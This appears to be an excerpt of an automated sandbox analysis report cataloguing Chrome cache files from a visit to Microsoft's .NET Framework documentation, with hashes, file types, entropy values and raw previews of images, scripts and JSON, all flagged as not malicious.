Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	downloaded
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
